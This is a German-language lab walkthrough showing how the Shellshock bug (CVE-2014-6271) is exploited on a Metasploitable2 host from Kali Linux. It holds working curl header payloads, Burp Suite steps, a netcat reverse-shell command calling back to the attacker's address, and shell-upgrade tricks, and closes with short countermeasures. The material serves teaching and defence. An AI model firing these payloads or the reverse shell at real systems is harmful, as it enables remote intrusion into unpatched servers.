Ein vollständiges, modernes Demonstrationslabor für CVE-2014-6271 (Shellshock), einschließlich Architektur, Exploitationsschritten, Nutzung von Burp Suite, Reverse Shells, Gegenmaßnahmen und einer vollständigen Befehls-Cheat-Sheet.
Shellshock (CVE-2014-6271) ist eine der einflussreichsten Schwachstellen für Remote-Codeausführung, die je entdeckt wurden. Der Fehler betrifft Bash und ermöglicht es Angreifern, beliebige Befehle auszuführen, indem sie einfach manipulierte Payloads in Umgebungsvariablen injizieren.
Diese Anleitung bietet eine vollständige, reproduzierbare Demonstration mit:
Sie ist für Lehre, Forschung, Schulung und allgemeines Cybersicherheitsbewusstsein konzipiert.
| Komponente | Rolle | Betriebssystem | IP-Adresse | Wichtige Dienste |
|---|---|---|---|---|
| Kali Linux | Angreifer | Kali Linux (neueste Version) | 192.168.1.4 | curl, Burp Suite, Netcat |
| Metasploitable2 | Angreifbarer Zielserver | Ubuntu Linux (MSF2) | 192.168.1.5 | Apache 2.2, CGI-Skripte, Bash |
| Apache mod_cgi | Skriptausführung | Läuft auf MSF2 | n/a | Macht Bash über CGI zugänglich |
| shellshock.sh | Angreifbarer Einstiegspunkt | Bash-CGI | n/a | Zeigt Umgebungsvariablen an |
Dieses einfache Zwei-Knoten-Setup spiegelt viele Legacy-Bereitstellungen wider, die noch immer in industriellen und IoT-Systemen vorhanden sind.
Auf Metasploitable2:
sudo su
cd /usr/lib/cgi-bin/
cat << 'EOF' > shellshock.sh
#!/bin/bash
echo "Content-type: text/html"
echo
echo "<pre>"
env
echo "</pre>"
EOF
chmod +x shellshock.sh
a2enmod cgi
service apache2 restart
Teste das Skript von Kali aus:
curl http://192.168.1.5/cgi-bin/shellshock.sh
Du solltest die Umgebungsvariablen angezeigt sehen.
Shellshock tritt auf, wenn Bash Umgebungsvariablen, die wie Funktionsdefinitionen aussehen, fehlerhaft parst.
Eine bösartige Variable wie zum Beispiel:
() { :; }; /bin/bash -c "id"
bewirkt, dass Bash den Befehl nach der Funktionsdefinition ausführt — obwohl die Funktion selbst nie aufgerufen wird.
CGI-Anwendungen sind besonders anfällig, weil HTTP-Header automatisch als Umgebungsvariablen an Skripte übergeben werden.
curl -H 'User-Agent: () { :; }; echo; echo Vulnerable; /bin/bash -c "id"' \
http://192.168.1.5/cgi-bin/shellshock.sh
Die Ausgabe sollte Folgendes enthalten:
Vulnerable
uid=33(www-data)
Dies bestätigt Remote-Codeausführung.
Besuche:
http://192.168.1.5/cgi-bin/shellshock.sh
Sende die Anfrage an Repeater.
Ersetze den User-Agent-Header durch:
User-Agent: () { :; }; echo; echo BurpTest; /bin/bash -c "id"
Du solltest Folgendes sehen:
BurpTest
uid=33(www-data)
Burp Suite bestätigt die Schwachstelle auf visuelle und lehrreiche Weise.
Starte den Listener auf Kali:
nc -lvnp 4444
Löse die Reverse Shell über das CGI-Skript aus:
curl -H 'User-Agent: () { :; }; /bin/bash -c "nc 192.168.1.4 4444 -e /bin/bash"' \
http://192.168.1.5/cgi-bin/shellshock.sh
Eine Shell wird sich zurück zu Kali verbinden.
Innerhalb der Reverse Shell:
python -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
Unterbreche die Sitzung:
Ctrl + Z
Auf Kali:
stty raw -echo; fg
Drücke Enter.
Du hast jetzt:
┌────────────────────────┐
│ Attacker (Kali) │
│ 192.168.1.4 │
└───────────┬────────────┘
│
1. Malicious HTTP Header (Shellshock)
│
▼
┌──────────────────────────┐
│ Apache Web Server (CGI) │
│ 192.168.1.5 │
└───────────┬──────────────┘
│
2. Header → CGI Environment Variable
│
▼
┌──────────────────────────┐
│ Bash (Vulnerable) │
└───────────┬──────────────┘
│
3. Injected Command Executes
│
▼
┌─────────────────────────┐
│ www-data Shell Access │
└───────────┬─────────────┘
│
4. Reverse Shell → Kali
│
▼
┌──────────────────────────┐
│ Full Interactive TTY │
└──────────────────────────┘
Eine visuelle Darstellung der wichtigsten Phasen des Angriffs.
| Beschreibung | Bild |
|---|---|
| Nmap-Scan + Shellshock-Testausgabe | ![]() |
| Burp Suite – Erste Shellshock-Anfrage | ![]() |
| Burp Suite – Payload-/Header-Injektion | ![]() |
| Auf Kali empfangene Reverse Shell (nc) | ![]() |
Patche auf eine Version, die das Parsen von Funktionen korrekt behandelt.
Legacy-CGI birgt ein unnötiges systemisches Risiko.
Verwerfe verdächtige Muster wie:
() { :; };
Schränke die Berechtigungen des Webserver-Benutzers (www-data) ein.
Stoppt Reverse Shells und Datenexfiltration.
Moderne WAF-Signaturen erkennen Shellshock sofort.
Begrenzt Bash-Prozesse und blockiert unbeabsichtigtes Verhalten.
Verwende Tools wie:
http-shellshock.nse)